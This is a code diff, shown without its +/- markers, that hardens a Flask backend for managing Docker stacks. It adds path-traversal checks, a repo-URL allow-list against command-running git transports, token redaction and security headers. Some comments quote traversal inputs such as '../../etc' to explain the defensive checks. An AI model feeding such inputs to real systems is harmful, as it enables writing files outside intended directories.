ok, msg = auth.set_password(user, d.get("new", ""))
|
||||
if ok:
|
||||
audit.log("auth", "password", "ok", ref=user, ip=request.remote_addr)
|
||||
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
|
||||
|
||||
|
||||
@app.route("/api/auth/users")
|
||||
def api_auth_users():
|
||||
a = auth.settings()
|
||||
return jsonify(users=auth.users(), mode=a.get("mode", "local"),
|
||||
proxy_header=a.get("proxy_header", ""),
|
||||
trusted_proxies=a.get("trusted_proxies", []))
|
||||
|
||||
|
||||
@app.route("/api/auth/users", methods=["POST"])
|
||||
def api_auth_users_add():
|
||||
d = request.json or {}
|
||||
ok, msg = auth.create_user(d.get("username", ""), d.get("password", ""))
|
||||
if ok:
|
||||
audit.log("auth", "user_add", "ok", ref=d.get("username", ""),
|
||||
ip=request.remote_addr)
|
||||
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
|
||||
|
||||
|
||||
@app.route("/api/auth/users/<name>", methods=["DELETE"])
|
||||
def api_auth_users_del(name):
|
||||
ok, msg = auth.delete_user(name)
|
||||
if ok:
|
||||
audit.log("auth", "user_del", "ok", ref=name, ip=request.remote_addr)
|
||||
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
|
||||
|
||||
|
||||
@app.route("/api/auth/mode", methods=["PUT"])
|
||||
def api_auth_mode():
|
||||
"""Stel de authenticatiemodus en de trusted-proxy-instellingen in."""
|
||||
d = request.json or {}
|
||||
a = auth.settings()
|
||||
mode = d.get("mode", a.get("mode"))
|
||||
if mode not in ("local", "proxy", "both"):
|
||||
return jsonify(ok=False, msg="Ongeldige modus"), 400
|
||||
proxies = d.get("trusted_proxies", a.get("trusted_proxies") or [])
|
||||
if not isinstance(proxies, list):
|
||||
return jsonify(ok=False, msg="trusted_proxies moet een lijst zijn"), 400
|
||||
if mode in ("proxy", "both") and not proxies:
|
||||
return jsonify(ok=False,
|
||||
msg="Geef minstens één vertrouwd proxy-IP op, anders kan "
|
||||
"iedereen de identiteitsheader vervalsen."), 400
|
||||
if mode == "proxy" and not d.get("confirm_lockout"):
|
||||
return jsonify(ok=False,
|
||||
msg="In modus 'proxy' vervalt de lokale login. Bevestig "
|
||||
"dat de reverse proxy werkt voordat je omschakelt."), 400
|
||||
a.update({"mode": mode,
|
||||
"proxy_header": (d.get("proxy_header") or a.get("proxy_header") or "").strip(),
|
||||
"trusted_proxies": [str(p).strip() for p in proxies if str(p).strip()]})
|
||||
cfg.patch({"AUTH": a})
|
||||
audit.log("auth", "mode", "ok", ref=mode, ip=request.remote_addr)
|
||||
return jsonify(ok=True, msg="Instellingen opgeslagen")
|
||||
|
||||
|
||||
# ── UI ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
resp = render_template("index.html")
|
||||
return resp
|
||||
|
||||
|
||||
@app.route("/healthz")
|
||||
def healthz():
|
||||
"""Lichtgewicht liveness-check voor de Docker-healthcheck: geen subprocess."""
|
||||
return jsonify(ok=True, version=VERSION)
|
||||
|
||||
|
||||
@app.after_request
|
||||
def no_cache(response):
|
||||
def security_headers(response):
|
||||
if request.path == "/" or request.path.endswith(".html"):
|
||||
response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
|
||||
response.headers["Pragma"] = "no-cache"
|
||||
# Alle scripts/styles/fonts worden meegeleverd (zie Dockerfile), dus 'self'
|
||||
# volstaat. 'unsafe-inline' is nodig voor Alpine's x-* attributen en de
|
||||
# inline tailwind.config; 'unsafe-eval' voor Alpine's expressie-evaluatie.
|
||||
response.headers.setdefault("Content-Security-Policy", (
|
||||
"default-src 'self'; "
|
||||
"script-src 'self' 'unsafe-inline' 'unsafe-eval'; "
|
||||
"style-src 'self' 'unsafe-inline'; "
|
||||
"img-src 'self' data: https:; "
|
||||
"font-src 'self' data:; "
|
||||
"connect-src 'self'; "
|
||||
"frame-ancestors 'none'; "
|
||||
"base-uri 'none'; "
|
||||
"form-action 'self'"))
|
||||
response.headers.setdefault("X-Frame-Options", "DENY")
|
||||
response.headers.setdefault("X-Content-Type-Options", "nosniff")
|
||||
response.headers.setdefault("Referrer-Policy", "no-referrer")
|
||||
return response
|
||||
|
||||
|
||||
|
|
@ -160,7 +361,7 @@ def api_images_prune():
|
|||
return jsonify(ok=ok, msg=msg)
|
||||
|
||||
|
||||
@app.route("/api/docker/restart", methods=["GET", "POST"])
|
||||
@app.route("/api/docker/restart", methods=["POST"])
|
||||
def api_restart():
|
||||
"""Restart the Server Up container itself."""
|
||||
audit.log("core", "restart", "ok", ip=request.remote_addr)
|
||||
|
|
@ -191,16 +392,20 @@ def api_stacks():
|
|||
except Exception:
|
||||
pass
|
||||
|
||||
def _stack_logo(d):
|
||||
# 1) Voorkeur: opgeslagen metadata bij installatie
|
||||
def _stack_meta(d) -> dict:
|
||||
mf = d / ".serverup.json"
|
||||
if mf.exists():
|
||||
try:
|
||||
m = json.loads(mf.read_text("utf-8"))
|
||||
if m.get("logo_url") or m.get("icon"):
|
||||
return m.get("logo_url", ""), m.get("icon", "")
|
||||
return json.loads(mf.read_text("utf-8"))
|
||||
except Exception:
|
||||
pass
|
||||
return {}
|
||||
|
||||
def _stack_logo(d):
|
||||
# 1) Voorkeur: opgeslagen metadata bij installatie
|
||||
m = _stack_meta(d)
|
||||
if m.get("logo_url") or m.get("icon"):
|
||||
return m.get("logo_url", ""), m.get("icon", "")
|
||||
# 2) Fallback: match op naam met de store (ook voor oudere installaties)
|
||||
if d.name in icon_map:
|
||||
h = icon_map[d.name]; return h["logo_url"], h["icon"]
|
||||
|
|
@ -217,21 +422,38 @@ def api_stacks():
|
|||
continue
|
||||
ct = docker.compose_ps(d, name=d.name)
|
||||
logo_url, icon = _stack_logo(d)
|
||||
meta = _stack_meta(d)
|
||||
out.append({
|
||||
"name": d.name, "path": str(d), "has_compose": True,
|
||||
"running": any(c["running"] for c in ct),
|
||||
"containers": ct,
|
||||
"logo_url": logo_url, "icon": icon,
|
||||
"network": meta.get("network", ""), "ip": meta.get("ip", ""),
|
||||
})
|
||||
return jsonify(out)
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/<action>", methods=["POST"])
|
||||
def api_stack_action(name, action):
|
||||
def _stack_dir(name: str) -> tuple[Path | None, Path | None]:
|
||||
"""Resolve een stacknaam naar een map binnen LIBRARY_DIR.
|
||||
|
||||
Retourneert (library, stackmap) of (None, None) als de naam ongeldig is of
|
||||
buiten de library zou wijzen. Elke route die met een door de gebruiker
|
||||
aangeleverde stacknaam werkt, hoort hier doorheen te gaan.
|
||||
"""
|
||||
if not cfg.safe_name(name):
|
||||
return None, None
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
if not d.is_relative_to(lib) or d == lib:
|
||||
return None, None
|
||||
return lib, d
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/<action>", methods=["POST"])
|
||||
def api_stack_action(name, action):
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
if not d.exists():
|
||||
return jsonify(ok=False, msg="niet gevonden"), 404
|
||||
if action not in ("start", "stop", "restart", "update", "remove", "backup"):
|
||||
|
|
@ -293,56 +515,113 @@ def api_stack_action(name, action):
|
|||
|
||||
@app.route("/api/stacks/<name>/env")
|
||||
def api_stack_env(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
return jsonify(content=docker.read_env(d))
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/env", methods=["PUT"])
|
||||
def api_stack_env_put(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
docker.write_env(d, (request.json or {}).get("content", ""))
|
||||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/compose")
|
||||
def api_stack_compose(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
return jsonify(content=docker.read_compose(d))
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/compose", methods=["PUT"])
|
||||
def api_stack_compose_put(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
docker.write_compose(d, (request.json or {}).get("content", ""))
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
content = (request.json or {}).get("content", "")
|
||||
# Eerst valideren, dan pas schrijven: een typefout maakt anders een
|
||||
# draaiende stack onstartbaar zonder dat je het merkt.
|
||||
ok, err = docker.validate_compose_text(content, d)
|
||||
if not ok:
|
||||
return jsonify(ok=False, msg=f"Compose is ongeldig:\n{err}"), 400
|
||||
docker.write_compose(d, content)
|
||||
audit.log("stacks", "compose_edit", "ok", ref=name, ip=request.remote_addr)
|
||||
return jsonify(ok=True)
|
||||
|
||||
|
||||
# ── Containers binnen een stack ──────────────────────────────────────────────
|
||||
|
||||
def _stack_containers(name: str) -> list[str]:
|
||||
"""Namen van de containers die bij deze stack horen."""
|
||||
lib, d = _stack_dir(name)
|
||||
if not d or not d.exists():
|
||||
return []
|
||||
return [c["name"] for c in docker.compose_ps(d, name=name) if c.get("name")]
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/containers")
|
||||
def api_stack_containers(name):
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
if not d.exists():
|
||||
return jsonify(ok=False, msg="niet gevonden"), 404
|
||||
containers = docker.compose_ps(d, name=name)
|
||||
live = docker.stats([c["name"] for c in containers if c.get("running")])
|
||||
for c in containers:
|
||||
c["stats"] = live.get(c["name"], {})
|
||||
return jsonify(ok=True, containers=containers)
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/containers/<container>/<action>", methods=["POST"])
|
||||
def api_container_action(name, container, action):
|
||||
"""Start/stop/herstart één container binnen een stack.
|
||||
|
||||
De containernaam wordt gecontroleerd tegen de containers die bij déze stack
|
||||
horen; zo kan deze route nooit een willekeurige container op de host raken.
|
||||
"""
|
||||
if action not in ("start", "stop", "restart"):
|
||||
return jsonify(ok=False, msg="onbekende actie"), 400
|
||||
if container not in _stack_containers(name):
|
||||
return jsonify(ok=False, msg="container hoort niet bij deze stack"), 404
|
||||
ok, msg = docker.container_action(container, action)
|
||||
audit.log("containers", action, "ok" if ok else "error", ref=container,
|
||||
ip=request.remote_addr)
|
||||
return jsonify(ok=ok, msg=msg or ("gelukt" if ok else "mislukt"))
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/containers/<container>/logs")
|
||||
def api_container_logs(name, container):
|
||||
if container not in _stack_containers(name):
|
||||
return jsonify(ok=False, msg="container hoort niet bij deze stack"), 404
|
||||
tail = min(max(int(request.args.get("tail", 200)), 1), 2000)
|
||||
return jsonify(ok=True, logs=docker.container_logs(container, tail))
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/logs")
|
||||
def api_stack_logs(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
return jsonify(logs=docker.compose_logs(d, name=name))
|
||||
|
||||
|
||||
# ── App Store ─────────────────────────────────────────────────────────────────
|
||||
|
||||
_BAD_URL_MSG = ("Ongeldige repo-URL. Toegestaan zijn http(s)://, ssh:// en "
|
||||
"git@host:pad. Andere git-transports (zoals ext::) kunnen "
|
||||
"commando's uitvoeren op de server.")
|
||||
|
||||
|
||||
@app.route("/api/repos")
|
||||
def api_repos():
|
||||
repos = cfg.load().get("APP_REPOS", [])
|
||||
# Nooit het token zelf teruggeven — alleen of er één ingesteld is.
|
||||
repos = cfg.redact(cfg.load()).get("APP_REPOS", [])
|
||||
result = [{**r, "cloned": git.cache_dir(r["id"]).exists()} for r in repos]
|
||||
return jsonify(result)
|
||||
|
||||
|
|
@ -353,6 +632,8 @@ def api_repos_add():
|
|||
url = d.get("url", "").strip()
|
||||
if not url:
|
||||
return jsonify(ok=False, msg="URL vereist")
|
||||
if not cfg.valid_repo_url(url):
|
||||
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
|
||||
repos = list(cfg.load().get("APP_REPOS", []))
|
||||
existing_ids = {r["id"] for r in repos}
|
||||
base_rid = d.get("id", url.split("/")[-1].replace(".git", "")).strip()[:30] or str(int(time.time()))
|
||||
|
|
@ -380,7 +661,7 @@ def api_repos_del(rid):
|
|||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/repos/<rid>/sync", methods=["GET", "POST"])
|
||||
@app.route("/api/repos/<rid>/sync", methods=["POST"])
|
||||
def api_repos_sync(rid):
|
||||
repo = next((r for r in cfg.load().get("APP_REPOS", []) if r["id"] == rid), None)
|
||||
if not repo:
|
||||
|
|
@ -414,6 +695,10 @@ def _is_stack_dir(p: Path) -> bool:
|
|||
|
||||
def _find_stack_src(stack: str, rid: str) -> Path | None:
|
||||
"""Zoek de stack bronmap in de git cache."""
|
||||
# `stack` en `rid` komen uit de request-body en worden hieronder in paden
|
||||
# geplakt; zonder deze controle kan een naam als '../..' de cache uit wijzen.
|
||||
if not cfg.safe_name(stack) or not cfg.safe_name(rid):
|
||||
return None
|
||||
repo = next((r for r in cfg.load().get("APP_REPOS", []) if r["id"] == rid), None)
|
||||
if not repo:
|
||||
return None
|
||||
|
|
@ -442,6 +727,47 @@ def _find_stack_src(stack: str, rid: str) -> Path | None:
|
|||
return None
|
||||
|
||||
|
||||
_SECRET_HINTS = ("token", "password", "passwd", "secret", "apikey", "api_key",
|
||||
"_key", "salt", "pepper")
|
||||
|
||||
|
||||
def _is_secret_field(f: dict) -> bool:
|
||||
haystack = f"{f.get('name', '')} {f.get('title', '')}".lower()
|
||||
return any(h in haystack for h in _SECRET_HINTS)
|
||||
|
||||
|
||||
def _annotate_fields(fields: list[dict]) -> list[dict]:
|
||||
"""Verrijk de installatievelden met een vrije poort en een secret-vlag.
|
||||
|
||||
- poortvelden krijgen een default die nog niet in gebruik is, zodat een
|
||||
installatie niet strandt op 'port is already allocated';
|
||||
- geheime velden worden gemarkeerd zodat de UI een genereerknop toont.
|
||||
"""
|
||||
try:
|
||||
bezet = docker.used_ports()
|
||||
except Exception:
|
||||
bezet = set()
|
||||
uitgedeeld: set[int] = set()
|
||||
for f in fields:
|
||||
if _is_secret_field(f):
|
||||
f["secret"] = True
|
||||
naam = (f.get("name") or "").lower()
|
||||
if f.get("type") == "int" and "port" in naam:
|
||||
try:
|
||||
gewenst = int(f.get("default") or 0)
|
||||
except (TypeError, ValueError):
|
||||
gewenst = 0
|
||||
kandidaat = gewenst if gewenst > 0 else 8100
|
||||
while kandidaat in bezet or kandidaat in uitgedeeld:
|
||||
kandidaat += 1
|
||||
uitgedeeld.add(kandidaat)
|
||||
f["suggested"] = kandidaat
|
||||
if kandidaat != gewenst:
|
||||
f["port_taken"] = gewenst
|
||||
f["default"] = kandidaat
|
||||
return fields
|
||||
|
||||
|
||||
@app.route("/api/store/preview", methods=["POST"])
|
||||
def api_store_preview():
|
||||
"""Preview een stack: lees compose + .env en extract configureerbare velden.
|
||||
|
|
@ -459,7 +785,7 @@ def api_store_preview():
|
|||
# ── Boilerplate (ChristianLempa-formaat) ──────────────────────────────────
|
||||
if boilerplates.is_boilerplate(src):
|
||||
meta = boilerplates.metadata(src)
|
||||
flds = boilerplates.fields(src)
|
||||
flds = _annotate_fields(boilerplates.fields(src))
|
||||
# Render een preview met defaults, zodat de gebruiker ziet wat er komt
|
||||
try:
|
||||
ctx = boilerplates.build_context(src, {})
|
||||
|
|
@ -502,16 +828,25 @@ def api_store_preview():
|
|||
k, v = k.strip(), v.strip()
|
||||
is_port = "PORT" in k.upper()
|
||||
is_tag = k.upper() in ("TAG", "VERSION", "IMAGE_TAG", "IMAGE_VERSION") or k.upper().endswith("_TAG") or k.upper().endswith("_VERSION")
|
||||
result["env_vars"].append({
|
||||
entry = {
|
||||
"key": k, "value": v,
|
||||
"is_port": is_port, "is_tag": is_tag,
|
||||
"secret": _is_secret_field({"name": k, "title": k}),
|
||||
"desc": "Poort" if is_port else "Image tag" if is_tag else "",
|
||||
})
|
||||
}
|
||||
if is_port:
|
||||
try:
|
||||
result["ports"].append({"key": k, "value": int(v)})
|
||||
poort = int(v)
|
||||
except ValueError:
|
||||
result["ports"].append({"key": k, "value": v})
|
||||
else:
|
||||
vrij = docker.next_free_port(poort)
|
||||
entry["suggested"] = vrij
|
||||
if vrij != poort:
|
||||
entry["port_taken"] = poort
|
||||
entry["value"] = str(vrij)
|
||||
result["ports"].append({"key": k, "value": vrij})
|
||||
result["env_vars"].append(entry)
|
||||
|
||||
# Parse compose voor images
|
||||
cf = docker.find_compose(src)
|
||||
|
|
@ -565,9 +900,29 @@ def api_store_install():
|
|||
env_overrides = d.get("env_overrides", {}) # {"PORT": "8080", "TAG": "v2"}
|
||||
image_tags = d.get("image_tags", {}) # {"service_name": "v2.1"}
|
||||
bp_values = d.get("values", {}) # boilerplate variable values
|
||||
net_name = (d.get("network") or "").strip() # leeg = poorten op de host
|
||||
net_ip = (d.get("ip") or "").strip()
|
||||
if not stack:
|
||||
return jsonify(ok=False, msg="stack vereist")
|
||||
|
||||
net = None
|
||||
if net_name:
|
||||
net = _network_by_name(net_name)
|
||||
if not net:
|
||||
return jsonify(ok=False, msg=f"Netwerk '{net_name}' is niet geconfigureerd"), 400
|
||||
if not net_ip:
|
||||
net_ip = networks.next_free_ip(net, _reserved_ips())
|
||||
if not net_ip:
|
||||
return jsonify(ok=False, msg="Geen vrij IP-adres beschikbaar in dit netwerk"), 400
|
||||
if not networks.ip_in_network(net_ip, net):
|
||||
return jsonify(ok=False, msg=f"{net_ip} ligt buiten het subnet van '{net_name}'"), 400
|
||||
if net_ip in _reserved_ips() or net_ip in networks.used_ips(net_name):
|
||||
return jsonify(ok=False, msg=f"{net_ip} is al in gebruik"), 409
|
||||
# De instantienaam bepaalt de doelmap én de compose-projectnaam. Zonder
|
||||
# controle schrijft `"instance": "../../etc"` buiten de library.
|
||||
if not cfg.safe_name(inst):
|
||||
return jsonify(ok=False, msg="ongeldige instantienaam"), 400
|
||||
|
||||
src = _find_stack_src(stack, rid)
|
||||
if not src:
|
||||
return jsonify(ok=False, msg=f"'{stack}' niet gevonden")
|
||||
|
|
@ -584,6 +939,8 @@ def api_store_install():
|
|||
except Exception as e:
|
||||
return jsonify(ok=False, msg=f"Library map kan niet aangemaakt worden: {e}")
|
||||
dest = (lib / inst).resolve()
|
||||
if not dest.is_relative_to(lib) or dest == lib:
|
||||
return jsonify(ok=False, msg="ongeldige instantienaam"), 400
|
||||
if dest.exists():
|
||||
return jsonify(ok=False, msg=f"'{inst}' bestaat al")
|
||||
|
||||
|
|
@ -669,6 +1026,30 @@ def api_store_install():
|
|||
cf.write_text(new_content)
|
||||
jobs.log(qq, "ok", "Image tags aangepast")
|
||||
|
||||
# Eigen IP-adres in plaats van poorten op de host
|
||||
if net:
|
||||
cf = docker.find_compose(dest)
|
||||
if not cf:
|
||||
jobs.log(qq, "error", "Geen compose-bestand om aan te passen")
|
||||
jobs.finish(jid, "error"); jobs.done(qq); return
|
||||
try:
|
||||
nieuw = compose_transform.to_dedicated_ip(
|
||||
cf.read_text(encoding="utf-8"), net_name, net_ip)
|
||||
except compose_transform.TransformError as e:
|
||||
jobs.log(qq, "error", f"Netwerkomzetting mislukt: {e}")
|
||||
jobs.finish(jid, "error"); jobs.done(qq); return
|
||||
cf.write_text(nieuw, encoding="utf-8")
|
||||
jobs.log(qq, "ok", f"Eigen IP-adres: {net_ip} op netwerk '{net_name}'")
|
||||
jobs.log(qq, "dim", "Poortmappings verwijderd — de app draait op "
|
||||
"zijn eigen poort op dit adres.")
|
||||
|
||||
# Valideer het resultaat vóór we proberen te starten, zodat een
|
||||
# fout in het template een duidelijke melding geeft.
|
||||
ok_cfg, err_cfg = docker.validate_compose(dest)
|
||||
if not ok_cfg:
|
||||
jobs.log(qq, "error", f"Compose is ongeldig:\n{err_cfg}")
|
||||
jobs.finish(jid, "error"); jobs.done(qq); return
|
||||
|
||||
# Data dir
|
||||
try:
|
||||
Path(cfg.load()["DATA_DIR"]).resolve().mkdir(parents=True, exist_ok=True)
|
||||
|
|
@ -687,6 +1068,10 @@ def api_store_install():
|
|||
"name": meta.get("name", stack),
|
||||
"logo_url": logo,
|
||||
"icon": meta.get("icon", ""),
|
||||
# Reserveert het adres: zolang deze stack bestaat krijgt
|
||||
# geen andere installatie hetzelfde IP voorgesteld.
|
||||
"network": net_name,
|
||||
"ip": net_ip if net else "",
|
||||
}, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||
except Exception:
|
||||
pass
|
||||
|
|
@ -711,6 +1096,97 @@ def api_store_install():
|
|||
return jsonify(ok=True, job_id=jid)
|
||||
|
||||
|
||||
# ── Netwerken (eigen IP-adres per stack) ─────────────────────────────────────
|
||||
|
||||
def _network_by_name(name: str) -> dict | None:
|
||||
for n in cfg.load().get("NETWORKS", []) or []:
|
||||
if isinstance(n, dict) and n.get("name") == name:
|
||||
return n
|
||||
return None
|
||||
|
||||
|
||||
def _reserved_ips(exclude_stack: str = "") -> set[str]:
|
||||
"""IP's die Server Up bij installatie aan een stack heeft toegekend.
|
||||
|
||||
Staat los van used_ips(): een gestopte stack houdt zijn adres, zodat een
|
||||
nieuwe installatie het niet afpakt.
|
||||
"""
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
ips: set[str] = set()
|
||||
if not lib.exists():
|
||||
return ips
|
||||
for d in lib.iterdir():
|
||||
if not d.is_dir() or d.name == exclude_stack:
|
||||
continue
|
||||
mf = d / ".serverup.json"
|
||||
if not mf.exists():
|
||||
continue
|
||||
try:
|
||||
meta = json.loads(mf.read_text("utf-8"))
|
||||
except Exception:
|
||||
continue
|
||||
if meta.get("ip"):
|
||||
ips.add(meta["ip"])
|
||||
return ips
|
||||
|
||||
|
||||
@app.route("/api/networks")
|
||||
def api_networks():
|
||||
defined = cfg.load().get("NETWORKS", []) or []
|
||||
live = {n["name"]: n for n in networks.list_docker_networks()}
|
||||
out = []
|
||||
for n in defined:
|
||||
if not isinstance(n, dict):
|
||||
continue
|
||||
naam = n.get("name", "")
|
||||
entry = {**n, "created": naam in live,
|
||||
"used_ips": sorted(networks.used_ips(naam)) if naam in live else []}
|
||||
entry["next_ip"] = networks.next_free_ip(n, _reserved_ips())
|
||||
out.append(entry)
|
||||
return jsonify(networks=out, interfaces=networks.host_interfaces(),
|
||||
drivers=list(networks.DRIVERS))
|
||||
|
||||
|
||||
@app.route("/api/networks", methods=["POST"])
|
||||
def api_networks_add():
|
||||
d = request.json or {}
|
||||
net = {"name": (d.get("name") or "").strip(),
|
||||
"driver": d.get("driver") or "macvlan",
|
||||
"parent": (d.get("parent") or "").strip(),
|
||||
"subnet": (d.get("subnet") or "").strip(),
|
||||
"gateway": (d.get("gateway") or "").strip(),
|
||||
"ip_range": (d.get("ip_range") or "").strip()}
|
||||
probleem = networks.validate(net)
|
||||
if probleem:
|
||||
return jsonify(ok=False, msg=probleem), 400
|
||||
if _network_by_name(net["name"]):
|
||||
return jsonify(ok=False, msg="Er bestaat al een netwerk met deze naam"), 409
|
||||
ok, msg = networks.create(net)
|
||||
if not ok:
|
||||
return jsonify(ok=False, msg=msg), 400
|
||||
cfg.patch({"NETWORKS": list(cfg.load().get("NETWORKS", []) or []) + [net]})
|
||||
audit.log("networks", "add", "ok", ref=net["name"], ip=request.remote_addr)
|
||||
return jsonify(ok=True, msg=msg)
|
||||
|
||||
|
||||
@app.route("/api/networks/<name>", methods=["DELETE"])
|
||||
def api_networks_del(name):
|
||||
net = _network_by_name(name)
|
||||
if not net:
|
||||
return jsonify(ok=False, msg="Netwerk niet gevonden"), 404
|
||||
in_gebruik = sorted(networks.used_ips(name))
|
||||
if in_gebruik:
|
||||
return jsonify(ok=False,
|
||||
msg=f"Nog {len(in_gebruik)} container(s) op dit netwerk — "
|
||||
"stop die stacks eerst."), 409
|
||||
ok, msg = networks.remove(name)
|
||||
cfg.patch({"NETWORKS": [n for n in cfg.load().get("NETWORKS", []) or []
|
||||
if n.get("name") != name]})
|
||||
audit.log("networks", "delete", "ok" if ok else "error", ref=name,
|
||||
ip=request.remote_addr)
|
||||
return jsonify(ok=True, msg=msg if ok else f"Uit config verwijderd ({msg})")
|
||||
|
||||
|
||||
# ── Module Store ──────────────────────────────────────────────────────────────
|
||||
|
||||
@app.route("/api/modules")
|
||||
|
|
@ -926,7 +1402,7 @@ def api_mod_update():
|
|||
|
||||
@app.route("/api/modrepos")
|
||||
def api_modrepos():
|
||||
repos = cfg.load().get("MODULE_REPOS", [])
|
||||
repos = cfg.redact(cfg.load()).get("MODULE_REPOS", [])
|
||||
return jsonify([{**r, "cloned": git.cache_dir(r["id"]).exists()} for r in repos])
|
||||
|
||||
|
||||
|
|
@ -936,6 +1412,8 @@ def api_modrepos_add():
|
|||
url = d.get("url", "").strip()
|
||||
if not url:
|
||||
return jsonify(ok=False, msg="URL vereist")
|
||||
if not cfg.valid_repo_url(url):
|
||||
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
|
||||
repos = list(cfg.load().get("MODULE_REPOS", []))
|
||||
existing_ids = {r["id"] for r in repos}
|
||||
base_rid = d.get("id", url.split("/")[-1].replace(".git", ""))[:30]
|
||||
|
|
@ -961,7 +1439,7 @@ def api_modrepos_del(rid):
|
|||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/modrepos/<rid>/sync", methods=["GET", "POST"])
|
||||
@app.route("/api/modrepos/<rid>/sync", methods=["POST"])
|
||||
def api_modrepos_sync(rid):
|
||||
repo = next((r for r in cfg.load().get("MODULE_REPOS", []) if r["id"] == rid), None)
|
||||
if not repo:
|
||||
|
|
@ -981,18 +1459,40 @@ def api_modrepos_sync(rid):
|
|||
|
||||
# ── Settings ──────────────────────────────────────────────────────────────────
|
||||
|
||||
_SETTINGS_HIDE = {"WIZARD_DONE", "ACTIVE_MODULES"}
|
||||
|
||||
|
||||
@app.route("/api/settings")
|
||||
def api_settings():
|
||||
c = cfg.load()
|
||||
hide = {"WIZARD_DONE", "ACTIVE_MODULES"}
|
||||
return jsonify({k: v for k, v in c.items() if k not in hide})
|
||||
c = cfg.redact(cfg.load())
|
||||
return jsonify({k: v for k, v in c.items() if k not in _SETTINGS_HIDE})
|
||||
|
||||
|
||||
@app.route("/api/settings", methods=["PUT"])
|
||||
def api_settings_put():
|
||||
d = request.json or {}
|
||||
hide = {"WIZARD_DONE", "ACTIVE_MODULES"}
|
||||
updates = {k: v for k, v in d.items() if k not in hide}
|
||||
# AUTH loopt uitsluitend via /api/auth/* — anders kun je via de generieke
|
||||
# settings-PUT je eigen wachtwoordhash of trusted_proxies injecteren.
|
||||
blocked = _SETTINGS_HIDE | cfg.SECRET_KEYS
|
||||
updates = {k: v for k, v in d.items() if k not in blocked}
|
||||
current = cfg.load()
|
||||
for key in ("APP_REPOS", "MODULE_REPOS"):
|
||||
if key not in updates:
|
||||
continue
|
||||
if not isinstance(updates[key], list):
|
||||
return jsonify(ok=False, msg=f"{key} moet een lijst zijn"), 400
|
||||
known = {r.get("id"): r.get("token", "")
|
||||
for r in current.get(key, []) if isinstance(r, dict)}
|
||||
for r in updates[key]:
|
||||
if not isinstance(r, dict):
|
||||
return jsonify(ok=False, msg=f"Ongeldige repo in {key}"), 400
|
||||
if r.get("url") and not cfg.valid_repo_url(r["url"]):
|
||||
return jsonify(ok=False, msg=f"Ongeldige repo-URL: {r['url']}"), 400
|
||||
# De UI kent het token niet meer (zie redact), dus een leeg veld
|
||||
# betekent "ongewijzigd" en mag het bestaande token niet wissen.
|
||||
r.pop("has_token", None)
|
||||
if not (r.get("token") or "").strip():
|
||||
r["token"] = known.get(r.get("id"), "")
|
||||
if updates:
|
||||
cfg.patch(updates)
|
||||
return jsonify(ok=True)
|
||||
|
|
@ -1111,10 +1611,8 @@ def api_wizard():
|
|||
"APP_REPOS", "MODULE_REPOS")})
|
||||
|
||||
|
||||
@app.route("/api/wizard/paths", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/paths", methods=["POST"])
|
||||
def api_wizard_paths():
|
||||
if request.method == "GET":
|
||||
return jsonify(ok=True, msg="use POST")
|
||||
try:
|
||||
d = request.json or {}
|
||||
updates = {}
|
||||
|
|
@ -1133,20 +1631,22 @@ def api_wizard_paths():
|
|||
return jsonify(ok=False, msg=str(e))
|
||||
|
||||
